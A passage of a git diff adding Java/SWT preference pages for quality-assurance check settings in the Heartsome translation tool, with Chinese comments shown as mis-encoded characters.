默认情况下所有的å“质检查项全部选中,在QAInitializer类中åˆå§‹åŒ– + + String batchItemsValue = preferenceStore.getString(QAConstant.QA_PREF_BATCH_QAITEMS); + List batchItemsValList = new ArrayList(); + String[] batchItemsValArray = batchItemsValue.split(","); + for (int index = 0; index < batchItemsValArray.length; index++) { + batchItemsValList.add(batchItemsValArray[index]); + } + + batchTermBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TERM) >= 0); + batchParaBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_PARAGRAPH) >= 0); + batchNumberBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_NUMBER) >= 0); + batchTagBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TAG) >= 0); + batchNonTransBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_NONTRANSLATION) >= 0); + //段首段末空格检查 + batchSpaceOfParaBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_SPACEOFPARACHECK) >= 0); + //文本段完整性检查 + batchParaCompleteBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0); + batchTgtLengthLimitBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TGTTEXTLENGTHLIMIT) >= 0); + batchSpellBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_SPELL) >= 0); + + //下é¢æ˜¯è‡ªåŠ¨æ£€æŸ¥çš„值的åˆå§‹åŒ–情况 + String autoItemsValue = preferenceStore.getString(QAConstant.QA_PREF_AUTO_QAITEMS); + List autoItemsValList = new ArrayList(); + String[] autoItemsValArray = autoItemsValue.split(","); + for (int index = 0; index < autoItemsValArray.length; index++) { + autoItemsValList.add(autoItemsValArray[index]); + } + + autoTermBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TERM) >= 0); + //autoParaBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_PARAGRAPH) >= 0); + autoNumberBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_NUMBER) >= 0); + autoTagBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TAG) >= 0); + autoNonTransBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_NONTRANSLATION) >= 0); + //段首段末空格检查 + autoSpaceOfParaBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_SPACEOFPARACHECK) >= 0); + //文本段完整性检查 + autoParaCompleteBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0); + autoTgtLengthLimitBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TGTTEXTLENGTHLIMIT) >= 0); + autoSpellBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_SPELL) >= 0); + + // 下é¢æ˜¯è®¾ç½®æ示级别 + termCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_term_TIPLEVEL)); + paraCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_para_TIPLEVEL)); + numberCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_number_TIPLEVEL)); + tagCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_tag_TIPLEVEL)); + nonTransCmb.getTableCombo().select((preferenceStore.getInt(QAConstant.QA_PREF_nonTrans_TIPLEVEL))); + spaceOfParaCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_spaceOfPara_TIPLEVEL)); + paraCompleteCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_paraComplete_TIPLEVEL)); + tgtLengthLimitCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_tgtLengthLimit_TIPLEVEL)); + spellCmb.getTableCombo().select(preferenceStore.getInt(QAConstant.QA_PREF_spell_TIPLEVEL)); + + //等于0时:为从ä¸æ‰§è¡Œ;等于1时,为入库时执行;等于2时,为批准文本段时执行;等于3时,为都进行检查。 + int autoTag = preferenceStore.getInt(QAConstant.QA_PREF_AUTO_QARUNTIME); + whenAddToDbBtn.setSelection(autoTag == QAConstant.QA_FIRST || autoTag == QAConstant.QA_THREE); + whenApprovalBtn.setSelection(autoTag == QAConstant.QA_TWO || autoTag == QAConstant.QA_THREE); + + setAutoItemSelected(); + + } + + @Override + protected void performDefaults() { + // 默认情况下所有的å“质检查项全部选中,在QAInitializer类中åˆå§‹åŒ– + + String batchItemsValue = preferenceStore.getDefaultString(QAConstant.QA_PREF_BATCH_QAITEMS); + List batchItemsValList = new ArrayList(); + String[] batchItemsValArray = batchItemsValue.split(","); + for (int index = 0; index < batchItemsValArray.length; index++) { + batchItemsValList.add(batchItemsValArray[index]); + } + + batchTermBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TERM) >= 0); + batchParaBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_PARAGRAPH) >= 0); + batchNumberBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_NUMBER) >= 0); + batchTagBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TAG) >= 0); + batchNonTransBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_NONTRANSLATION) >= 0); + //段首段末空格检查 + batchSpaceOfParaBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_SPACEOFPARACHECK) >= 0); + //文本段完整性检查 + batchParaCompleteBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0); + batchTgtLengthLimitBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_TGTTEXTLENGTHLIMIT) >= 0); + batchSpellBtn.setSelection(batchItemsValList.indexOf(QAConstant.QA_SPELL) >= 0); + + //下é¢æ˜¯è‡ªåŠ¨æ£€æŸ¥çš„值的åˆå§‹åŒ–情况 + String autoItemsValue = preferenceStore.getDefaultString(QAConstant.QA_PREF_AUTO_QAITEMS); + List autoItemsValList = new ArrayList(); + String[] autoItemsValArray = autoItemsValue.split(","); + for (int index = 0; index < autoItemsValArray.length; index++) { + autoItemsValList.add(autoItemsValArray[index]); + } + + autoTermBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TERM) >= 0); + //autoParaBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_PARAGRAPH) >= 0); + autoNumberBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_NUMBER) >= 0); + autoTagBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TAG) >= 0); + autoNonTransBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_NONTRANSLATION) >= 0); + //段首段末空格检查 + autoSpaceOfParaBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_SPACEOFPARACHECK) >= 0); + //文本段完整性检查 + autoParaCompleteBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_PARACOMPLETENESS) >= 0); + autoTgtLengthLimitBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_TGTTEXTLENGTHLIMIT) >= 0); + autoSpellBtn.setSelection(autoItemsValList.indexOf(QAConstant.QA_SPELL) >= 0); + + // 下é¢æ˜¯è®¾ç½®æ示级别 + termCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_term_TIPLEVEL)); + paraCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_para_TIPLEVEL)); + numberCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_number_TIPLEVEL)); + tagCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_tag_TIPLEVEL)); + nonTransCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_nonTrans_TIPLEVEL)); + spaceOfParaCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_spaceOfPara_TIPLEVEL)); + paraCompleteCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_paraComplete_TIPLEVEL)); + tgtLengthLimitCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_tgtLengthLimit_TIPLEVEL)); + spellCmb.getTableCombo().select(preferenceStore.getDefaultInt(QAConstant.QA_PREF_spell_TIPLEVEL)); + + //等于0时:为从ä¸æ‰§è¡Œ;等于1时,为入库时执行;等于2时,为批准文本段时执行;等于3时,为都进行检查。 + int autoTag = preferenceStore.getDefaultInt(QAConstant.QA_PREF_AUTO_QARUNTIME); + whenAddToDbBtn.setSelection(autoTag == QAConstant.QA_FIRST || autoTag == QAConstant.QA_THREE); + whenApprovalBtn.setSelection(autoTag == QAConstant.QA_TWO || autoTag == QAConstant.QA_THREE); + + setAutoItemSelected(); + } + + @Override + public boolean performOk() { + if (!isInit) { + return true; + } + + //先处ç†æ‰¹é‡æ£€æŸ¥çš„情况 + String batchItemsValue = ""; + if (batchTermBtn.getSelection()) { + batchItemsValue += QAConstant.QA_TERM + ","; + } + if (batchParaBtn.getSelection()) { + batchItemsValue += QAConstant.QA_PARAGRAPH + ","; + } + if (batchNumberBtn.getSelection()) { + batchItemsValue += QAConstant.QA_NUMBER + ","; + } + if (batchTagBtn.getSelection()) { + batchItemsValue += QAConstant.QA_TAG + ","; + } + if (batchNonTransBtn.getSelection()) { + batchItemsValue += QAConstant.QA_NONTRANSLATION + ","; + } + if (batchSpaceOfParaBtn.getSelection()) { + batchItemsValue += QAConstant.QA_SPACEOFPARACHECK + ","; + } + if (batchParaCompleteBtn.getSelection()) { + batchItemsValue += QAConstant.QA_PARACOMPLETENESS + ","; + } + if (batchTgtLengthLimitBtn.getSelection()) { + batchItemsValue += QAConstant.QA_TGTTEXTLENGTHLIMIT + ","; + } + if (batchSpellBtn.getSelection()) { + batchItemsValue += QAConstant.QA_SPELL ; + } + + //处ç†è‡ªåŠ¨æ£€æŸ¥çš„情况 + String autoItemsValue = ""; + if (autoTermBtn.getSelection()) { + autoItemsValue += QAConstant.QA_TERM + ","; + } + /*if (autoParaBtn.getSelection()) { + autoItemsValue += QAConstant.QA_PARAGRAPH + ","; + }*/ + if (autoNumberBtn.getSelection()) { + autoItemsValue += QAConstant.QA_NUMBER + ","; + } + if (autoTagBtn.getSelection()) { + autoItemsValue += QAConstant.QA_TAG + ","; + } + if (autoNonTransBtn.getSelection()) { + autoItemsValue += QAConstant.QA_NONTRANSLATION + ","; + } + if (autoSpaceOfParaBtn.getSelection()) { + autoItemsValue += QAConstant.QA_SPACEOFPARACHECK + ","; + } + if (autoParaCompleteBtn.getSelection()) { + autoItemsValue += QAConstant.QA_PARACOMPLETENESS + ","; + } + if (autoTgtLengthLimitBtn.getSelection()) { + autoItemsValue += QAConstant.QA_TGTTEXTLENGTHLIMIT + ","; + } + if (autoSpellBtn.getSelection()) { + autoItemsValue += QAConstant.QA_SPELL ; + } + + //等于0时:为从ä¸æ‰§è¡Œ;等于1时,为入库时执行;等于2时,为批准文本段时执行;等于3时,为都执行 + int runtime = 0; + if (whenAddToDbBtn.getSelection() && whenApprovalBtn.getSelection()) { + runtime = 3; + }else if (whenAddToDbBtn.getSelection()) { + runtime = 1; + }else if (whenApprovalBtn.getSelection()) { + runtime = 2; + } + + // 储存å“质检查项 + preferenceStore.setValue(QAConstant.QA_PREF_BATCH_QAITEMS, batchItemsValue); + preferenceStore.setValue(QAConstant.QA_PREF_AUTO_QAITEMS, autoItemsValue); + preferenceStore.setValue(QAConstant.QA_PREF_AUTO_QARUNTIME, runtime); + + // 下é¢æ˜¯è®¾ç½®æ示级别 + preferenceStore.setValue(QAConstant.QA_PREF_term_TIPLEVEL, termCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_para_TIPLEVEL, paraCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_number_TIPLEVEL, numberCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_tag_TIPLEVEL, tagCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_nonTrans_TIPLEVEL, nonTransCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_spaceOfPara_TIPLEVEL, spaceOfParaCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_paraComplete_TIPLEVEL, paraCompleteCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_tgtLengthLimit_TIPLEVEL, tgtLengthLimitCmb.getTableCombo().getSelectionIndex()); + preferenceStore.setValue(QAConstant.QA_PREF_spell_TIPLEVEL, spellCmb.getTableCombo().getSelectionIndex()); + + return true; + } + + public static void main(String[] args) { + + } + + class QATipsLabelProvider extends LabelProvider implements ITableLabelProvider { + private Map imageCache = new HashMap(); + public QATipsLabelProvider() { + + } + public Image getColumnImage(Object element, int columnIndex) { + if (element instanceof String) { + String tip = (String) element; + return errorTip.equals(tip) ? errorImg : warnImg; + } + return null; + + } + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String) { + String array = (String) element; + return array; + } + return null; + } + + public void dispose(){ + for (String code : imageCache.keySet()) { + Image im = imageCache.get(code); + if (im != null && !im.isDisposed()) { + im.dispose(); + } + } + imageCache.clear(); + super.dispose(); + } + } + + private void createTableCombo(TableComboViewer tCmbViewer){ + TableCombo tableCombo = tCmbViewer.getTableCombo(); + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(2); + GridDataFactory.swtDefaults().hint(100, SWT.DEFAULT).applyTo(tableCombo); + + tCmbViewer.setLabelProvider(new QATipsLabelProvider()); + tCmbViewer.setContentProvider(new ArrayContentProvider()); + tCmbViewer.setInput(CONSTANT_COMBOVALUE); + } + + private void setAutoItemSelected(){ + if (!whenApprovalBtn.getSelection() && !whenAddToDbBtn.getSelection()) { + setAutoItemEnable(false); + }else { + setAutoItemEnable(true); + } + } + + private void setAutoItemEnable(boolean enable){ + autoTermBtn.setEnabled(enable); +// autoParaBtn.setEnabled(enable); + autoNumberBtn.setEnabled(enable); + autoTagBtn.setEnabled(enable); + autoNonTransBtn.setEnabled(enable); + autoSpaceOfParaBtn.setEnabled(enable); + autoParaCompleteBtn.setEnabled(enable); + autoTgtLengthLimitBtn.setEnabled(enable); + autoSpellBtn.setEnabled(enable); + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAPage.java b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAPage.java new file mode 100644 index 0000000..44da955 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.qa/src/net/heartsome/cat/ts/ui/qa/preference/QAPage.java @@ -0,0 +1,526 @@ +package net.heartsome.cat.ts.ui.qa.preference; + +import net.heartsome.cat.common.ui.HsImageLabel; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.qa.Activator; +import net.heartsome.cat.ts.ui.qa.resource.Messages; +import net.heartsome.cat.ts.ui.resource.ImageConstant; + +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchPreferencePage; + +/** + * å“质检查的首选项设置 + * @author robert 2011-11-29 + */ +public class QAPage extends PreferencePage implements IWorkbenchPreferencePage { + + public static final String ID = "net.heartsome.cat.ts.ui.qa.preference.QAPage"; + + private IPreferenceStore preferenceStore; + // --------------------------å“质检查(针对所有å“质检查项)-------------------------------------// + private Button contextBtn; + private Button fullMatchBtn; + private Button lockedBtn; + + // --------------------------文本段一致性检查-------------------------------------// + /** 相åŒæºæ–‡ä¸åŒè¯‘文,备注:默认选中 */ + private Button sameSourceBtn; + /** 相åŒæºæ–‡ä¸åŒè¯‘文下的忽略大å°å†™ */ + private Button srcIgnorceCaseBtn; + /** 相åŒæºæ–‡ä¸åŒè¯‘文下的忽略标记 */ + private Button srcIgnorceTagBtn; + + /** 相åŒè¯‘æ–‡ä¸åŒæºæ–‡ */ + private Button sameTargetBtn; + /** 相åŒè¯‘æ–‡ä¸åŒæºæ–‡ä¸‹çš„忽略大å°å†™ */ + private Button tarIgnorceCaseBtn; + /** 相åŒè¯‘æ–‡ä¸åŒæºæ–‡ä¸‹çš„忽略标记 */ + private Button tarIgnorceTagBtn; + + // 以下是目标文本段长度é™åˆ¶çš„组件 + private Button minBtn; + private Button maxBtn; + private Text minTxt; + private Text maxTxt; + + + /** 组件是å¦åˆå§‹åŒ– */ + private boolean isInit = false; + private final static String isNumericRegex = "(^[1-9](\\d{0,2})(\\.\\d+)?$)|(^0(\\.\\d+)?$)"; + + public QAPage() { + setTitle(Messages.getString("qa.preference.QAInstalPage.qaInstal")); + setPreferenceStore(Activator.getDefault().getPreferenceStore()); + preferenceStore = getPreferenceStore(); + } + + @Override + protected Control createContents(Composite parent) { + isInit = true; + + Composite tparent = new Composite(parent, SWT.NONE); + tparent.setLayout(new GridLayout()); + tparent.setLayoutData(new GridData(GridData.FILL_BOTH)); + + Group notIncludeGroup = new Group(tparent, SWT.NONE); + notIncludeGroup.setLayout(new GridLayout()); + notIncludeGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + notIncludeGroup.setText(Messages.getString("qa.preference.QAPage.notInclude")); + + HsImageLabel notIncludeLbl = new HsImageLabel(Messages.getString("preference.QAPage.notIncludeLbl"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_QA_Page_ignore)); + Composite notIncludeCmp = notIncludeLbl.createControl(notIncludeGroup); + notIncludeCmp.setLayout(new GridLayout()); + notIncludeCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + if (CommonFunction.checkEdition("U")) { + // ä¸Šä¸‹æ–‡åŒ¹é… + contextBtn = new Button(notIncludeCmp, SWT.CHECK); + contextBtn.setText(Messages.getString("qa.preference.QAPage.content")); + } + + // 完全匹é…的文本段 + fullMatchBtn = new Button(notIncludeCmp, SWT.CHECK); + fullMatchBtn.setText(Messages.getString("qa.preference.QAPage.fullMatch")); + + // å·²é”定的文本段 + lockedBtn = new Button(notIncludeCmp, SWT.CHECK); + lockedBtn.setText(Messages.getString("qa.preference.QAPage.locked")); + notIncludeLbl.computeSize(); + + // 文本段一致性检查的按钮区 + addParaGroup(tparent); + + addTgtLengthGroup(tparent); + + setInitValue(); + // åˆå§‹åŒ–事件 + initListener(); + return parent; + } + + /** + * 这是针对文本段一致性检查的按钮区 + * @param tparent + */ + public void addParaGroup(Composite tparent) { + Group paragraphGroup = new Group(tparent, SWT.NONE); + paragraphGroup.setText(Messages.getString("qa.preference.QAPage.paraConsistence")); + paragraphGroup.setLayout(new GridLayout()); + paragraphGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + HsImageLabel paraConsisLbl = new HsImageLabel(Messages.getString("preference.QAPage.paraConsisLbl"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_QA_Page_paraConsistence)); + Composite paraConsisCmp = paraConsisLbl.createControl(paragraphGroup); + paraConsisCmp.setLayout(new GridLayout(3, false)); + paraConsisCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + GridLayout cmpLayout = new GridLayout(1, false); + cmpLayout.marginLeft = 30; + cmpLayout.marginHeight = 0; + + // -----------------------------下é¢æ˜¯ç›¸åŒæºæ–‡ä¸åŒè¯‘文的é…ç½®----------------------------- + sameSourceBtn = new Button(paraConsisCmp, SWT.CHECK); + sameSourceBtn.setText(Messages.getString("qa.preference.QAPage.sameSource")); + GridDataFactory.fillDefaults().span(3, 1).applyTo(sameSourceBtn); + + Composite sameSourceCmp = new Composite(paraConsisCmp, SWT.NONE); + sameSourceCmp.setLayout(cmpLayout); + GridDataFactory.fillDefaults().span(3, 1).applyTo(sameSourceCmp); + + srcIgnorceCaseBtn = new Button(sameSourceCmp, SWT.CHECK); + srcIgnorceCaseBtn.setText(Messages.getString("qa.preference.QAPage.ignoreCase")); + + srcIgnorceTagBtn = new Button(sameSourceCmp, SWT.CHECK); + srcIgnorceTagBtn.setText(Messages.getString("qa.preference.QAPage.ignoreTag")); + + // -----------------------------下é¢æ˜¯ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡çš„é…ç½®----------------------------- + sameTargetBtn = new Button(paraConsisCmp, SWT.CHECK); + sameTargetBtn.setText(Messages.getString("qa.preference.QAPage.sameTarget")); + GridDataFactory.fillDefaults().span(3, 1).applyTo(sameTargetBtn); + + Composite sameTargetCmp = new Composite(paraConsisCmp, SWT.NONE); + sameTargetCmp.setLayout(cmpLayout); + GridDataFactory.fillDefaults().span(3, 1).applyTo(sameTargetCmp); + + tarIgnorceCaseBtn = new Button(sameTargetCmp, SWT.CHECK); + tarIgnorceCaseBtn.setText(Messages.getString("qa.preference.QAPage.ignoreCase")); + + tarIgnorceTagBtn = new Button(sameTargetCmp, SWT.CHECK); + tarIgnorceTagBtn.setText(Messages.getString("qa.preference.QAPage.ignoreTag")); + + paraConsisLbl.computeSize(); + } + + /** + * 添加目标文本段长度é™åˆ¶æ£€æŸ¥ + * @param tParent + */ + private void addTgtLengthGroup(Composite tParent) { + Group group = new Group(tParent, SWT.NONE); + group.setText(Messages.getString("preference.QAPage.group")); + group.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + group.setLayout(new GridLayout()); + + HsImageLabel tgtLengthSetLbl = new HsImageLabel(Messages.getString("preference.QAPage.tgtLengthSetLbl"), + Activator.getImageDescriptor(ImageConstant.PREFERENCE_QA_Page_tgtLengthSet)); + Composite tgtLengthLblCmp = tgtLengthSetLbl.createControl(group); + tgtLengthLblCmp.setLayout(new GridLayout(3, false)); + tgtLengthLblCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Composite tgtLengthSetCmp = new Composite(tgtLengthLblCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).equalWidth(false).numColumns(3) + .applyTo(tgtLengthSetCmp); + GridDataFactory.fillDefaults().span(3, SWT.DEFAULT).grab(true, true).applyTo(tgtLengthSetCmp); + + GridData txtData = new GridData(SWT.LEFT, SWT.CENTER, false, false); + txtData.widthHint = 200; + + minBtn = new Button(tgtLengthSetCmp, SWT.CHECK); + minBtn.setText(Messages.getString("preference.QAPage.minBtn")); + minTxt = new Text(tgtLengthSetCmp, SWT.BORDER); + minTxt.setLayoutData(txtData); + Label label = new Label(tgtLengthSetCmp, SWT.NONE); + label.setText("%"); + + maxBtn = new Button(tgtLengthSetCmp, SWT.CHECK); + maxBtn.setText(Messages.getString("preference.QAPage.maxBtn")); + maxTxt = new Text(tgtLengthSetCmp, SWT.BORDER); + maxTxt.setLayoutData(txtData); + label = new Label(tgtLengthSetCmp, SWT.NONE); + label.setText("%"); + tgtLengthSetLbl.computeSize(); + + + + minTxt.addFocusListener(new FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + validMinValue(isNumericRegex); + } + }); + maxTxt.addFocusListener(new FocusAdapter() { + @Override + public void focusLost(FocusEvent e) { + validMaxValue(isNumericRegex); + } + }); + + minBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + validMinValue(isNumericRegex); + } + + public void widgetDefaultSelected(SelectionEvent e) { + validMinValue(isNumericRegex); + } + }); + maxBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + validMaxValue(isNumericRegex); + } + public void widgetDefaultSelected(SelectionEvent e) { + validMaxValue(isNumericRegex); + } + }); + + } + + /** + * 当选中 缩短按钮时,进行的æç¤ºä¿¡æ¯ + * @param isNumericRegex + */ + private boolean validMinValue(String isNumericRegex){ + if (minBtn.getSelection()) { + String minNumer = minTxt.getText(); + if ("".equals(minNumer)) { + minTxt.setFocus(); + minBtn.setSelection(false); + MessageDialog.openWarning(getShell(), + Messages.getString("dialog.TargetLengthSettingDialog.msgTitle"), + Messages.getString("preference.QAPage.msg1")); + return false; + } else if (!minNumer.matches(isNumericRegex)) { + minTxt.setFocus(); + minBtn.setSelection(false); + MessageDialog.openWarning(getShell(), + Messages.getString("dialog.TargetLengthSettingDialog.msgTitle"), + Messages.getString("preference.QAPage.msg2")); + return false; + } + } + return true; + } + + /** + * 验è¯æœ€å¤§æ•°å­—是å¦åˆæ ¼ + * @param isNumbericRegex + */ + private boolean validMaxValue(String isNumbericRegex){ + if (maxBtn.getSelection()) { + String maxNumer = maxTxt.getText(); + if ("".equals(maxNumer)) { + maxTxt.setFocus(); + maxBtn.setSelection(false); + MessageDialog.openWarning(getShell(), + Messages.getString("dialog.TargetLengthSettingDialog.msgTitle"), + Messages.getString("preference.QAPage.msg3")); + return false; + } else if (!maxNumer.matches(isNumbericRegex)) { + maxTxt.setFocus(); + maxBtn.setSelection(false); + MessageDialog.openWarning(getShell(), + Messages.getString("dialog.TargetLengthSettingDialog.msgTitle"), + Messages.getString("preference.QAPage.msg4")); + return false; + } + } + return true; + } + + + + private void setInitValue() { + // ----------------------------------------针对所有检查项------------------------------------// + if (CommonFunction.checkEdition("U")) { + // å°†ä¸åŒ…å«ä¸Šä¸‹æ–‡åŒ¹é…(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)的按钮设æˆé»˜è®¤é€‰ä¸­çŠ¶æ€ï¼Œåœ¨QAInitializer类中åˆå§‹åŒ– + if (preferenceStore.getBoolean(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)) { + contextBtn.setSelection(true); + } else { + contextBtn.setSelection(false); + } + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)) { + fullMatchBtn.setSelection(true); + } else { + fullMatchBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)) { + lockedBtn.setSelection(true); + } else { + lockedBtn.setSelection(false); + } + + // -----------------------------------------文本段一致性检查的åˆå§‹å€¼è®¾ç½®-----------------------------------// + // 将相åŒæºæ–‡ä¸åŒè¯‘æ–‡(QAConstant.QA_PREF_PARA_SAMESOURCE)设æˆé»˜è®¤,在QAInitializer类中åˆå§‹åŒ– + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SAMESOURCE)) { + sameSourceBtn.setSelection(true); + } else { + sameSourceBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE)) { + srcIgnorceCaseBtn.setSelection(true); + } else { + srcIgnorceCaseBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG)) { + srcIgnorceTagBtn.setSelection(true); + } else { + srcIgnorceTagBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_SAMETARGET)) { + sameTargetBtn.setSelection(true); + } else { + sameTargetBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCECASE)) { + tarIgnorceCaseBtn.setSelection(true); + } else { + tarIgnorceCaseBtn.setSelection(false); + } + + if (preferenceStore.getBoolean(QAConstant.QA_PREF_PARA_TAR_IGNORCETAG)) { + tarIgnorceTagBtn.setSelection(true); + } else { + tarIgnorceTagBtn.setSelection(false); + } + + // -------------------------目标文本段长度é™åˆ¶è®¾ç½® + minBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_isCheckTgtMinLength)); + maxBtn.setSelection(preferenceStore.getBoolean(QAConstant.QA_PREF_isCheckTgtMaxLength)); + minTxt.setText(preferenceStore.getString(QAConstant.QA_PREF_tgtMinLength)); + maxTxt.setText(preferenceStore.getString(QAConstant.QA_PREF_tgtMaxLength)); + } + + @Override + protected void performDefaults() { + if (CommonFunction.checkEdition("U")) { + // 默认情况下,ä¸åŒ…å«ä¸Šä¸‹æ–‡åŒ¹é…çš„æŒ‰é’®ä¸ºé€‰ä¸­çŠ¶æ€ + contextBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)); + } + fullMatchBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)); + lockedBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)); + + // ----------------------文本段一致性检查的ç°å¤é»˜è®¤å€¼-----------------------------------// + // 默认情况下,ä¸åŒ…å«ä¸Šä¸‹æ–‡åŒ¹é…çš„æŒ‰é’®ä¸ºé€‰ä¸­çŠ¶æ€ + sameSourceBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_SAMESOURCE)); + srcIgnorceCaseBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCECASE)); + srcIgnorceTagBtn.setSelection(preferenceStore.getDefaultBoolean(QAConstant.QA_PREF_PARA_SRC_IGNORCETAG)); + 